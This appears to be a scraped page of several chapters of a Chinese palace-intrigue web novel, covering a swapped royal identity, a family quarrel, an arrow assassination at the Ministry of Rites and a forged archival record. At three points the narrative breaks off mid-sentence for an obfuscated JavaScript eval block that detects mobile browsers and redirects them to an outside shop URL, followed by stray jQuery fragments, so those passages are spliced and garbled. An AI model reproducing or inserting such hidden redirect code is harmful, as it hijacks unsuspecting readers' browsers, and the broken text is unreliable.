姜宁的话还未说完,柳窈娘便反手抱住她。不多时,姜宁便觉得肩头有些濡湿。柳窈娘的泪水透过衣衫,仿佛烫在了她的心头。
“好了。”柳窈娘松开姜宁,抹去脸上的泪,冲姜宁露出一个笑容,“殿下,您快些换衣服吧,陛下他们还在等您。”
姜宁点头,拿起桌上的月白色衣衫走到屏风之后。不多时,她便换好衣服走了出来。
二人再次回到大殿,无数目光再次向她看了过来。
姜宁恍若未觉,径直向着自己的座位走去。刚刚坐下,她便见陆欣荣噙着一抹意味深长的笑,起身缓缓向她走来。她身后的嬷嬷落后半步,手里提着一个金色鸟笼。笼子里白色的雀鸟受了惊,在笼子里来回飞舞,撞在笼子上,发出“咚咚”声。
殿内不少人被这动静吸引,窃窃私语声逐渐蔓延开来。
陆欣荣在姜宁跟前站定,吩咐嬷嬷将鸟笼递给姜宁:“皇儿,此鸟名曰海东青,是你舅舅送给我的,白色的,更是名贵。”
说话间,纯白色的海东青又向着笼子撞去。
“这鸟儿当真是个蠢笨的。”陆欣荣眉头一皱,扭头看着鸟笼里海东青,又回头看向姜宁,眼里的恶意不加掩饰,“本宫给它这华贵的笼子,不愁吃穿,它却偏偏不安现状,最后弄得自己羽翼零落、遍体鳞伤,白白惹人笑话。”
“一个雀儿,若不是本宫,它哪有机会进这金笼子,成为我儿的宠物。这般不识抬举……”说完,她扭头看向身侧的嬷嬷,冷声道,“杀了吧。”
“母妃且慢!”姜宁上前两步,从嬷嬷手中夺过鸟笼,“这鸟儿很好,儿臣很喜欢。”
说话间,她打开鸟笼,笼子里的海东青一跃而出,速度快如闪电。有几个侍卫反应过来,试图去抓它,却被它灵活躲开。
海东青头也不回,直直向着大殿门口飞去,飞出大殿后,隐没于天际。
姜宁提着空空如也的金笼,笼门晃荡,发出细微的“吱呀”声。
“母妃恕罪。儿臣一时失手,浪费了母妃一番好意。”她抬起眼,目光清亮,直直迎上陆欣荣怨毒的视线,“看来,这宫墙再高,也困不住向往天空的鸟儿。”
众人不做细想,便不知其意,只是觉得可惜了这样一只鸟儿。
姜夔的目光从跟前的诸多皇子皇女身上划过,在殿内巡视一圈,最后落在了姜宁脸上。
“向往天空的鸟儿么?”姜夔喃喃,声音里带了些许的捉摸不透的意味,“那朕便要看看,这只鸟儿,能飞多高,又能飞多远。”
11. 第十一章
宴席完毕,众人各自离开。
丝竹已歇,珍馐已撤,唯有空气中弥漫的淡淡酒香。陆起看着姜宁消失在视线中,这才在众人的簇拥中离开太和殿。
冷风吹来,酒意都淡了许多。
一行人行至宫门,彼此拱手作别。车马粼粼,又各自四散而去。
陆起刚准备上马车,却见一个宫人走来,将一盒糕点递给了他。
“王爷。”宫婢向陆起屈膝行礼,开口道,“娘娘说这是她做的桂花糕,给您尝尝鲜。”
陆起点头,明白这是妹妹给姜望准备的糕点,收了糕点后,便向着镇北王府行去。
马车颠簸,大抵是喝了酒的缘故,头有些昏沉。
刚到镇北王府门口,陆起还未下马车,车帘“哗啦”一声被人掀开。紧接着,一个少年便探头而入,带来些许冷风。
陆起眉头拧起,沉声道:“远儿,你这是做什么?”
“我……”如今已更名叫陆远的姜望张口。
“放肆!”
一道女声自镇北王府门内传来,音调不高,却带着金石般的穿透力,打断了姜望未说出口的话。
众人循声望去,只见一道挺拔身影正迈步而出。镇北王妃周青身着墨绿色常服,仅用一根素色玉簪绾起青丝。屋檐下灯火摇曳,照亮她清隽的面容。
“陆远,你阿爹回府,身为人子,不知恭迎行礼,反倒如此莽撞,我就是这么教你的吗?”她声音平稳,声音里却带着几分凌厉。
姜望听到这话,眼里闪过一丝恼怒,却还是跃下马车,低眉顺眼的走到周青身后,低声道:“是儿子错了,母亲恕罪。”
“远儿还小,你同孩子计较什么?”陆起从车上走下,叹了口气。
说着,他向姜望伸手,示意他走上前来。紧接着,方才临走时收到的桂花糕便被他塞进了姜望怀中:“今日我虽没带你去宫里,却给你带了些糕点回来,你尝尝,可还喜欢?”
冷风吹过周青的衣衫,她的目光从陆起身上游离,逐渐落在了那盒被姜望捧在手心的桂花糕上。
姜望打开盒子,径直拿起一块桂花糕放进嘴里,笑的开怀。陆起把姜望揽在怀中,一副父慈子孝的模样。
这般场景,落在周青眼里,她心口不由得一疼。她什么都没说,只是长袖一甩,径直向着镇北王府内走去。
周青的步伐越走越快,穿过长廊,径直回了主院。
桌上是她精心准备的吃食,如今她只是沉默着走上前去,将那一桌菜肴掀翻在地。
“王妃。”
伺候的嬷嬷小跑着跟上,还没来得及喘口气,便听得一阵碎瓷声响。
“砰——”
巨大的关门声响起,周青背靠着雕花木门,胸膛剧烈起伏。她顺着木门滑落,最后坐在地上,伸出双手将自己紧紧抱住。
“王妃。”嬷嬷自是知道周青这十年的不易,上前几步,站在门口宽慰她,“王妃莫要同小少爷和王爷置气……”
门内,周青将脸深深埋入膝间,肩膀微微颤动。嬷嬷的劝慰隔着厚重的门板,显得模糊而遥远,听不真切。
“嬷嬷,”周青忽然开口,声音里带着一丝极淡的自嘲,“你说,是不是无论我怎么做,在他心里,我都永远只是个……‘王妃’?”
不是他心上的那个人。
“若我早知他心有所属,当年我一定不会让父亲去求陛下赐婚。”
嬷嬷开口,声音温柔:“王爷定是在意王妃的。”
周青脑海里蓦然想起来十年前的那天。陆起牵着一个六岁的小孩回府,告诉她,这是他的儿子。
“不是的。”周青捂脸,声音里满是绝望,“他心里的那个位置,早就被填满了,没有一丝缝隙能容得下旁人。”
“王爷他也许只是不善表达……”
“不善表达?”周青突然笑了,笑声与抽噎声混杂在一起,显得有些瘆人,“他对远儿,何曾不善表达?记得他爱吃的桂花糕,关心他的课业。这些自然流露的温情,才是真心。而他对我,只有‘规矩’,只有‘体统’,只有相敬如‘冰’。”
“我累了。”周青抱住自己的腿,努力将自己蜷缩成一团,“我真的好累。”
不多时,屋子里便响起她的抽噎声。
陆起和姜望二人对主院发生的事自不知晓,此刻,两人一前一后,走入了书房。婢女上了两杯茶,懂事的退出门外。
在书房门关上的一瞬间,姜望看着陆起的背影,急急追问:“舅舅,你可见到她了?”
“见到了。”陆起答。
“我们该怎么换回来?”姜望继续追问。
陆起心头一沉,不知该如何告诉他,自今日太和殿后,他已经拿不回姜望的身份。他深吸一口,缓缓转身看向姜望。少年脸上不再是平日的恭敬,而是急切中带着几分愤怒。
“远儿……”陆起的声音带着一种深沉的疲惫。
“我不是陆远!我是姜望!”姜望激动地打断他,声音陡然拔高,“母妃说过,十年,就十年!到时候就会把我换回去!现在十年之期已到,你们为什么都不提了?你们骗我!你们都想把我困在这里!”
“如今……”
“你们骗我!”姜望激动的打断陆起的话,眼里燃烧着浓浓的恨意,“因为周青那个贱人生不出孩子,所以你们要用我来维持你们陆家的门楣!”
“啪——”
陆起猛拍书案,坚实的红木桌面瞬间裂作两半。他的胸膛剧烈起伏,心头的怒火却并未因桌子的碎裂衰减半分。他看着姜望,眼里的怒意逐渐凝聚,一字一句道:“谁教你说出这些混账话的?!”
“难道我说错了吗?”
姜望的脸色白了白,却不甘示弱的梗着脖子,眼里满是恨意。
陆起看着跟前自己抚养了十年,周青实打实疼了十年的少年,眼里满是失望。他迈步走到姜望跟前,这才发现少年的身形拔高了许多,竟已经差不多和他一般高了。
“六岁那年,你来了府中。第二天,你因为思念母妃高烧不退,是你口里的贱人,在你病榻前彻夜不眠照顾你。”
“七岁那年,你去学堂,被污蔑偷东西,是你口里的贱人,为你据理力争,讨回公道。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632629|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“十岁那年,你贪玩摔断了腿,是你口里的贱人,日夜守在你床边,直至你康复。”
陆起说的很慢,每一个字的吐出都显得如此艰难。
“我知晓她心中对我有怨,连带着对你偶有疾言厉色,但是她何曾真的亏待过你?就因为她并非你血缘之母,你便可如此践踏她十年的养育之恩?姜望,你的良心被狗吃了吗?”
“这是你们欠我的!”姜望抬眸看向陆起,并未因为他的话有些许的触动,眸子里满是熊熊燃烧的怒火,“我本来就是皇子!天潢贵胄,锦衣玉食!是你们让我顶着陆远这个卑贱的名字活着!如今我只是想拿回属于我的东西!你们却都骗我!”
陆起脸上的怒意瞬间冻结,变作一种混合着震惊的陌生神情。他死死盯着姜望,仿佛第一次真正认识这个养了十年的少年。
他突然笑了起来,笑声里满是悲凉。
“皇子?”陆起看着姜望,眼里冷意乍现,连带着声音也冷了几分,“十年前,燕国要你为质,你贪生怕死不愿去,你母妃冒着欺君之罪,让那个女娃替你为质。我为了给你一个身份,说你是我在外的私生子,让我发妻受辱十年。”
“你说陆远之名卑贱,你可知,那是我陆起未出生孩儿之名!”陆起一步踏前,几乎是从齿缝里挤出后面的话,“你知道他是怎么死的吗?”
“当年,你母妃难产,皇后带走了所有的太医。你的奶嬷嬷想尽一切办法寻到我,求我救救你们母子二人。”陆起缓缓闭眼,声音开始颤抖,“我披甲执锐,夜闯宫门,救下你们母子。可我的夫人,却在那夜,被贼人趁虚而入,失去了她的孩儿,终身无法有孕。”
“姜望,你说,到底是谁欠谁?”
陆起深吸一口气,不再去看姜望。他深吸一口气,径直从姜望身边走过。走到门口时,他的脚步突然顿住,再次开口:“当年闯入宫门,是为你和你母妃争一条活路,我不后悔。但是如今木已成舟,从你和你母妃决定李代桃僵的那一刻,你就应该明白,你再也做不回姜望了。”
陆起打开门,冷风鱼贯而入,他不由得打了个哆嗦。
他没有回头,只是迈步向前行去。
姜望站在原地,陆起的话一遍遍在他耳边回响,周青和陆起的脸在他脑海里不断变幻 。到了最后,他双腿一软,跪在地上,捂住脸一言不发。
是啊,他再也不是姜望了。
可他也不是陆远。
现在的他,究竟是谁?
“呜呜——”
破碎的呜咽从他死死捂住脸的指缝中溢了出来,他的肩膀不住颤动,最后变成了嚎啕大哭。
陆起驻足书房门口良久,最终还是选择转身离开。他来到主院,想要同周青说两句话。
可当他的腿踏入主院的一刹那,他就想起来那个未能睁眼的孩儿,想到周青满脸衰败的躺在床上的模样。
若不是因为他一时情急,带走了所有侍卫,怎么会害周青母子遇险?他有什么脸面面对她?
陆起的心不受控制的抽痛了一下。
良久,他收回腿,转过身,消失在沉沉夜色之中。
12. 第十二章
卯时初刻,姜宁身着青色鹭鸶补服,站在了礼部府衙门口。她深吸一口气,胸腔里满是官署廊柱间特有的木香。
中年门吏验过她的告身文书,手指微不可察的颤了颤,脸上立刻堆起谄媚的笑:“王爷。”
“无需称呼我为王爷。”姜宁开口,目光淡淡。
“是,王……姜主事。”门吏的腰又弯了些许。
“干什么的?”年轻一些的门吏晃晃悠悠走了过来,他瞥了姜宁一眼,伸手抢过中年门吏手中的告身文书,看也不看,便扔回姜宁怀里,冷声道,“既然这老头已经验过了,自个儿去报道吧。”
中年门吏听他这话,不由得打了个哆嗦。他垂下头,只敢用余光去瞧姜宁的反应。
“姜主事。”中年门吏再次开口,喉结滚动间,迅速抹了一把额头的冷汗,“请随卑职……”
“放肆!”年轻门吏怒斥一声,一脚将那中年门吏踹倒在地,冷声道,“老子说了,让他自个儿去,你是聋了不成?”
中年门吏摔在地上,官帽掉落,露出下方有些花白的头发。他刚准备说话,一只手突然出现在他眼前。他抬眸,正对上姜宁的目光,颤颤巍巍道:“王……姜主事。”
“起来。”姜宁俯身,抓住他的胳膊,将中年门吏扶起。
“按晟律,殴打官署吏员者,杖五十。”姜宁弯腰拾起中年门吏的官帽,轻轻拂去灰尘,放到了他手中,“按礼部规,阻挠官员履职,徒十月。”
听得姜宁这话,年轻门吏的脸色一变,随即冷笑一声,双手环胸:“那又如何?你问问他,我打他了吗?我又阻挠你了吗?”
姜宁并不答话,只是冷冷看着身前的年轻门吏。
看起来,有人已经对她出手了。
若是她太过计较,显得她这个七殿下心胸狭隘,以势压人,连个门吏都要斤斤计较;可若是就此退让,又显得她柔弱可欺,堕了天家威严。
真是好一出阳谋。
“你误会了。”姜宁开口,声音依旧平稳,却多了一丝凛冽的寒意,“本官是在告知你律例,并非在与你对质。”
“他是否指认你,不重要。本官亲眼所见,便是人证。”她缓缓开口,看着年轻门吏的笑容一点点僵在脸上,看也不看一旁的中年门吏,“你现在便去寻当值的员外郎,或者直接去禀报郎中和侍郎,更或者,直接去禀告你们尚书大人,将此地之事,原原本本,一字不落地回明。”
她微微停顿,嘴角带了些残忍的弧度:“本官倒要看看,究竟是怎样的靠山,竟敢让这样的蛀虫在礼部作威作福!”
中年人不敢耽搁,急忙起身,向着清吏司所在的方向跑去。
“大……大人。”年轻门吏见状,哆嗦着身子开口,脸色一片青白,“大人何必小题大做?卑职也只是按规矩办事!”
“规矩?”姜宁轻轻重复了一遍,唇角勾起一抹极淡的弧度,“本官竟不知道,礼部的规矩,竟是目无尊卑,对同僚拳脚相向。”
“不……不是。”年轻门吏擦了擦额头上的冷汗,心头将自己的姐夫骂了千百遍。
他姐夫正是这礼部的正五品郎中,执掌一司。因着这层关系,他才敢在这衙门口作威作福,连那些有品级的小官都不放在眼里,更遑论对那无根无基的中年门吏非打即骂。
昨夜,姐夫将他唤入书房,隐晦提及今日会有一位特殊的“新人”前来,令他“稍加刁难,挫其锐气”。
他原以为不过是件手到擒来的小事,谁曾想,这看似文弱的少年,手段竟如此凌厉,一言不合便要请来尚书大人!
那老东西平日里受尽他的欺压,对他积怨已深。此刻得了机会,若真是去了尚书大人那里,还不知要如何添油加醋地告状!
想到这里,年轻门吏又抖了抖。
“大人,卑职是文郎中的妻舅。”他抬眼去瞧姜宁的神色,试图从中找到一丝松动,“求大人看在文郎中的面上,高抬贵手!”
姜宁非但没有如他预想中那般露出忌惮之色,唇角反而掠过一丝极淡的讽意。
“原来是文郎中的妻舅。”
姜宁轻轻重复了一句,语调平缓听不出喜怒,可那目光却骤然变冷,刺得年轻门吏心头一颤。
“王爷!”
中年门吏领着身着青衣白鹇的文信良疾步而来。
文信良的目光扫过姜宁,正对上她森冷的目光,脊背微微一僵,急忙转开头去,落在了地上的年轻门吏身上。
这个蠢货!成事不足,败事有余!
年轻门吏听得文信良对跟前这少年人的称呼,心里头咯噔一声。他这姐夫,竟让他刁难王爷?!
“下官管教无方,让这不长眼的东西冲撞了王爷,罪该万死。”文信良跪下,低头擦拭额前的冷汗。
“哦?”姜宁冷笑开口,故意将尾音拉的细长,“是这门吏冲撞了本王,关文郎中什么事?”
“下官……”文信良吞了吞口水,不等姜宁开口,转过头厉声道:“来人!将这狂徒拖下去,重打五十大板,革去差事,永不录用!”
跪地的年轻门吏猛地抬头,难以置信地望向姐夫,却只对上一双冰冷的眼睛。
“文郎中倒是雷厉风行。不过,这般微末小吏,竟敢对同僚大打出手,还敢羞辱朝廷命官。”姜宁唇角微勾,指尖轻抚袖口银线,似笑非笑,“若非背后有人撑腰,断不会有如此胆量,文郎中以为呢?”
“王爷明鉴!”这话如惊雷炸响在文信良耳畔,他猛地叩首,急急道,“下官对天发誓,绝未纵容此等行径!”
“哦?”姜宁打断文信良的话,声音淡淡,“既与文郎中无关,那他一个小小门吏,为何敢如此放肆?”
“定是这孽障仗着下官的名头在外胡作非为,旁人不敢声张。”
“好一个不敢声张。”姜宁轻笑出声,忍不住抚手鼓掌,“文郎中这是告诉本王,这礼部姓文……”
“下官并非此意!”文信良仓皇叩首,冷汗浸透后襟,“一切都是这孽障……”
“是他!”年轻门吏听得这般话,心头怒意更甚,他陡然起身。
下一瞬,一根羽箭不知从何处射出,径直穿透年轻门吏的咽喉。
年轻门吏的瞳孔逐渐放大,喉间发出“嗬嗬”的漏气声。鲜血顺着箭杆汩汩涌出,染红了他胸前的衣襟。他伸出的手还僵在半空,指尖还指着文信良。最终却只是无力地垂下,身体“噗
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16632630|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
通”一声栽倒在地,激起一片尘埃。
“护驾!”
沈别山带着人突然出现在礼部门口,佩刀出鞘的铿锵之声不绝于耳。训练有素的侍卫鱼贯而入,将姜宁护卫在中心,还不忘记将那些吓破了胆的门吏杂役控制在场。
文信良瘫坐在地,看着妻弟那死不瞑目的双眼,以及那根仍在微微颤动的羽箭,脸上血色尽褪。
这不是他安排的!那会是谁?
难道是跟前的端王?但他方才都没动手,又怎么会突然发难?
难道是侍郎大人怕他这蠢笨的妻弟吐出什么不该说的,索性直接杀了妻弟,也警告自己,不要乱说话?
他嘴唇哆嗦着,一个字也说不出来,巨大的恐惧如同冰水,将他从头到脚浇得透心凉。
姜宁的目光并未在文信良的身上停留,而是缓缓抬头,向着西北方向看去:“沈统领,让人去西北方的角楼看看。”
“是!”
沈别山得令,毫不迟疑,扭头点了几个人。几人得令,迅速向着姜宁所说的方向奔去。
不多时,几人去而复返,为首者手中多了一张黝黑的铁弓。
“王爷。卑职等赶到的时候,那里已经空无一人,只剩了这张铁弓。”手持铁弓之人来到姜宁跟前跪下,沉声开口,“此弓弓身沉重,弓弦乃特制牛筋,以此推断,能用此弓者,臂力惊人,必是能开九石强弓的好手,绝非寻常之辈。”
“不过……”他话音微微一顿,目光转向地上的文信良,“方才卑职试着推测这箭的角度与力道,刺杀之人的目标恐怕是文郎中。只是这门吏突然起身,阴差阳错,挡下了这一箭。”
文信良猛地抬头,瞳孔骤缩,原本因恐惧而涣散的目光瞬间聚焦,死死盯住那张黝黑的铁弓。
那支箭矢,原本的目标竟是自己!
文信良如遭电击,挣扎着爬跪起来,不顾满地血污,以头抢地,砰砰作响:“王爷!求王爷救命啊!”
姜宁摆摆手,对文信良道:“起来吧,有什么事,去仪制司说。”
“是!”文信良连连应声。
“王爷。”眼见有人挪动妻弟的尸体打扫现场,文信良不由得硬着头皮再次开口,“下官这不成器的妻弟虽冲撞了您,可……”
“人死债消,他所犯也不是什么大错。”还不等文信良说完,姜宁便已洞悉其意,当即开口,“本王派一队人护卫你送他遗体回府安置。”
闻言,文信良禁不住老泪纵横,刚刚站直的身子再次“扑通”一声跪倒在地:“多谢王爷恩典!”
姜宁摆摆手,并未多言,在中年门吏的带领下,向着仪制司走去。
文信良走到妻弟面前,伸手将他睁开的眼眸合上,又取下自己腰间的玉佩递给姜宁留下来处理尸体的人:“劳烦大人将我妻弟送到文府,拙荆见到玉佩,定不会刁难各位大人。”
说完,他又掏出几两银子放在那人手上。
那人接过玉佩,却将银子推了回去,神色肃然:“文郎中放心,我定将令亲与玉佩一并安然送至府上,交到尊夫人手中。”
文信良得了这句准话,又低头看了自家妻弟一眼,这才小跑着向仪制司的方向追去。
13.第十三章
沈别山已经带着人离开,姜宁虽疑惑他为何会出现在这里,却终究没问出口,横竖不过是她那父皇的意思。
中年门吏带着姜宁来到仪制司门口,这才恭敬离去。
仪制司内,书吏杂役们早已开始忙碌,洒扫庭除,整理文书,为新一天的公务做准备。一切井然有序,丝毫不知道礼部门口发生了一桩命案。
看到姜宁来了,这才有人走来,引着她去了自己的房间。
她虽只是个六品主事,可因为她的身份,礼部尚书还是在遵循规矩的基础上,派人给她整理出了一间独立的值房。只是比文信良的稍小一些,位置也更靠外。
姜宁在案后坐下,开始思考方才在礼部门口发生的事。
文信良妻弟的死,太过蹊跷。
毫无疑问,那年轻的门吏定是受到文信良的授意,这才会故意难为她。文信良同她毫无交集,定然又是得了别人的授意。可就算为难失败,背后之人又何至于杀了文信良?
这不合逻辑。
她将目光投向窗外,庭院中古柏苍劲,枝桠沉默地分割着还未完全亮起的天空。视线尽头,恰好能望见文信良值房的一角。那扇雕花木门紧紧关闭,严丝合缝。
笃笃——
敲门声响起,将姜宁的思绪拉了回来。
“进。”
姜宁缓缓开口,一抬眸,却见文信良推门而入。
显然,他并未回家,官袍下摆还沾染着些许血迹。他的脸色是骇人的惨白,嘴唇紧抿,不见一丝血色。
“王爷!下官自知罪该万死!”文信良他反手将门关上,在姜宁的注视下,直挺挺地向着姜宁跪下,声音嘶哑,“妻弟刁难王爷,实非下官本心,乃是萧侍郎的授意!”
“萧侍郎?萧相二公子的次子,大皇兄的表哥。”姜宁微微皱眉,身子后仰,思绪逐渐飘远,喃喃开口,“他让你为难我,倒也是情理之中。”
“王爷!”文信良向着姜宁跪行几步,以头抢地,“王爷!求王爷替我妻弟报仇!”
姜宁摇摇头。
“文大人,丧亲之痛,本王理解。但你说报仇,你要向谁报仇?萧侍郎?还是大皇兄?”姜宁的目光落在文信良背上,声音古井无波,“何况,就算真的是他们,证据又何在?是凭你的一面之词?还是凭那无主的铁弓?”
这话落在文信良耳里,让他的脸又苍白了几分。他哆嗦了几下,想要张口说些什么,最后却还是沉默着,一个字都没能说出来。
是啊,证据呢?凭他空口白牙,如何撼动枝繁叶茂的萧家?如何指认天潢贵胄的大皇子?
他伏在地上,肩膀剧烈耸动,却再发不出半点哭声,只有压抑到极致的、断断续续的抽噎声。
“文大人,起来吧。”姜宁再次开口,声音露出些许疲惫。
“人死不能复生,活着的人终究要继续向前走。”她站起身走到窗外,看着窗外的古柏,意有所指,“不知文大人可喜欢养花种树?”
文信良不知姜宁为何突有此问,却还是恭敬回答:“不曾养过。”
“我在燕国时经常逗弄花草。”姜宁开口,声音平静,“一盆花若在毫无征兆的情况下突然枯萎,那定是因为脚下土壤贫瘠,难有滋养,甚至是暗生毒根,这才会伤了枝叶。你知道这时候要怎么做吗?”
文信良猛地抬头,浑浊的泪眼中闪过一丝惊疑不定的光芒。他并非愚钝之人,王爷这看似闲谈花草的话语,其中却深意。
文信良张口,声音干涩:“下官愚钝,请王爷明示。”
“这时候,就该将整株花连根拔起,剪去腐根,换土易盆,方能重获生机。”姜宁并未回头,依旧望着窗外那株历经风霜的古柏,声音平静无波,“燕国大多树木,不似院里这株古松幸运。它们会生在贫瘠之地,根系被迫与毒藤纠缠。若不挣脱,终将被吸干养分,枯竭而死。但若它有心,自会寻求移往沃土。”
“只是……移栽之初,难免伤筋动骨,需得谨慎小心,更要找准时机。”她微微侧首,余光扫过地上颤抖的文信良。
文信良抬起头,看向那背对着他的身影,心脏狂跳,整个人禁不住颤抖起来。
他听懂了姜宁的言外之音。
他明白,这是王爷在借树喻人。王爷这是在告诉他,萧家与大皇子便是那贫瘠之地与毒藤,而王爷府则是可依附的沃土!但转换门庭风险极大,必须等待合适的时机,谨慎行事,否则对他来说便是灭顶之灾!
他伏在地上的手紧紧攥起,指甲掐入掌心,带来一丝刺痛,让他混沌的头脑清醒了几分。妻弟的死状在眼前闪过,妻儿和老母的脸在他脑中不住翻腾。蓦然间,他心底激荡出一股破釜沉舟的勇气。
文信良深吸一口气,用尽全身力气,以头触地,发出沉闷的响声,声音里带了几分决绝:“下官家中确有一株老梅,原在墙角,多年来花稀叶疏,却不知为何。如今日得王爷点拨,如醍醐灌顶!下官决定今日便将其移栽,为它寻一处向阳沃土,助它重焕生机!”
姜宁转头看向文信良,缓缓踱步至他面前。
“移栽花木讲究天时。今晨起雾,想必待会有雨。若此时贸然动土,寒气入根,恐生不测。”姜宁垂眸看着仍跪在地上的文信良,语气放缓,“文大人既有此心,不如待明日天明,细细察看那老梅根系缠绕之势,厘清哪些是与毒藤纠缠的废根,哪些是能留住的主根。修剪妥当,再小心移往新辟的苗圃。”
“不过大人的梅树在墙角多年,自成风景,费心移栽,反倒坏了风水。”姜宁微微俯身,凑到文信良耳边,声音压低,“依我之意,大人不必移栽,修剪后只需去除部分旧土,添些新土即可。如此,旁人看来,它仍在原地,却不知下方早已换了滋养。”
说完,她再次直起身,坐回案前。
“王爷英明。”文信良再次开口,声音沉稳了许多,“是下官心急了,险些坏了事。”
“下官回去后,必当细细察看,谨慎修剪,去腐存菁。”他抬起头,看向姜宁细长的眉眼,一字一句道,“至于添换水土,下官知道该如何做,定不会让旁人看出端倪,只会觉得那老梅似是精神了些。”
“文大人能如此想,便是那老梅的造化。”姜宁唇角噙着笑,伸手拿起桌案上的册子,“回去吧,好生料理你妻弟的后事。”
“下官叩谢王爷恩典。”文信良不再多言,恭敬地行了大礼,随即起身,整理了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640797|188024||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下凌乱的官袍,这才起身退了出去。
门扉轻合,隔绝了内外,屋内重归寂静。
似乎是为了佐证姜宁的说法,外边飘起点点细雨。雨势渐大,敲在院子里的老柏上,发出阵阵声响。
姜宁关了窗,继续看那翻开的册子。
这册子是一批关于地方中阶官员考绩与封赠的旧档,没什么稀奇的,可她翻着翻着,却察觉到了一处不寻常的地方。
“聂荣?”姜宁皱眉,看着纸上记载的名字,无意识喃喃出声,“崇元十年十二月,克州通判,考绩平稳?”
当年她入燕为质之时,同行的护卫长曾说过,他有个弟弟叫聂荣,也曾在朝为官,颇有才干,只可惜天妒英才,去年积劳成疾死了。
她赴燕时是崇元十年正月十七,那时候聂荣就死了,那这个同年考绩平稳的聂荣,难道是同名同姓?
她伸出手,手指无意识的在聂荣的名字上画圈。心电翻转间,指腹传来异样的触感。姜宁心下一惊。
这是千丝纸,在燕国时,她也曾听闻这张的大名。这纸产于四年前,据说是因其工艺复杂,所以取名千丝。四年前的纸为何会记录十年前的人?若是因为年代久远重新誊抄,为何独独只有这一张和其他纸质感不同?
“来人!”姜宁蓦然起身,声音里带了几分急迫。
一个书吏推门而入,恭敬问询:“大人,有什么吩咐?”
姜宁头也不抬:“将克州崇元九年至十一年间的官员任职名录给我取来。”
“是。”
那人领命退下,不多时,一摞厚重的书册便被抬了进来。
“下去吧。”姜宁开口。
待那人离开后,姜宁急忙跑到那摞书册前,率先翻开了崇元十年的书册。随着书页一张张翻开,姜宁果然看到了聂荣的名字。
“崇元十年三月,淮州通判聂荣,平调克州。”
淮州?
一道惊雷在姜宁脑海炸响,她几乎是一瞬间便想到了那场改变她和谢家人命运的淮水之战。
姜宁心头一惊,急急开口:“来人,将崇元九年至十一年淮州的官员任职名录取来。”
又是一摞书册被人抱了进来。
姜宁吩咐人退下后,开始寻找崇元九年淮州任职名录。果然,她再次看到了聂荣的名字,可上方却写着截然不同的话语。
“崇元九年九月十七,克州通判聂荣,夙兴夜寐,积劳成疾,病故于任上。”
九月十七?十年前淮水之战的前三天?
一个位于淮州通判,恰好在关乎国运的大战前夕,“积劳成疾”而死?却又死而复生,平调克州?
姜宁的脑海中蓦然闪过那刺穿年轻门吏的长箭。
“来人!” 姜宁再次开口,声音比刚才更冷了几分。
在她话音落下的瞬间,门再次被推开。那名书吏躬身而入,态度依旧恭敬:“大人,有何吩咐?”
“我桌上的这些书册,是谁放这儿的?” 她缓缓开口。
“是文郎中。”书吏开口回答,没有丝毫犹豫,“尚书大人说大人刚来仪制司,需得先熟悉在职官员名册,文郎中便去拿了这些书册放在大人桌上。”
14.第十四章
书吏退出门外,姜宁的心头却翻起了惊涛骇浪。
桌上的书册是尚书让文信良拿来的,确实都是在职官员名册。唯有这一本是十年前的,像是无意间被人放错了地方的。
那这本书册的主人,是文信良,还是尚书?
姜宁脑海中响起来文信良的脸,缓缓摇头。
文信良恐怕根本不知道这本书册的存在,只是执行尚书的命令,将现在在职的官员名册拿了来。他拿来之前定会检阅,所以这本书册是后来被人放进去的。
幕后之人知道书册被文信良送向了她这里,以为文信良在调查聂荣,所以才忍不住想要杀人灭口?
这个念头刚升起的一瞬间,又被姜宁再次否定。
比起光天化日之下在礼部门口用箭杀人灭口,潜入她这间看管并不森严的值房,偷走或调换那本册子,明明要简单许多。
难道幕后之人是要确保她看到书册,并要确保没有第二个人知道这本册子到了她的手里?
想要文信良死,不是以为他在调查聂荣,而是背后之人为了灭掉潜在的威胁。
那么将这本书册交给她的那个人,到底是敌是友?
姜宁目光凝在“聂荣”二字上,思绪逐渐飘远。
方才被姜宁差使的书吏神了个懒腰,缓缓走出仪制司的大门。他四下看了一眼,这才走到了尚书值房。
咚咚——
“进。”
书吏走到屋内,向着礼部尚书俆砚修拱手行礼,开口道:“大人,新来的主事确如您所料,调阅了淮州和克州崇元九年至十一年间的官员任职名录。”
“嗯。”徐砚修的声音从堆积如山的书案中响起,他并未抬头,朱笔批阅的沙沙声也未曾停顿,“还有什么事吗?”
“确实还有一事。”书吏继续开口,声音里带了几分凝重,“今晨文郎中遭遇刺杀,被他妻弟所挡,那人当场暴毙。”
俆砚修执笔的手一顿,最后只是长叹了一口气。
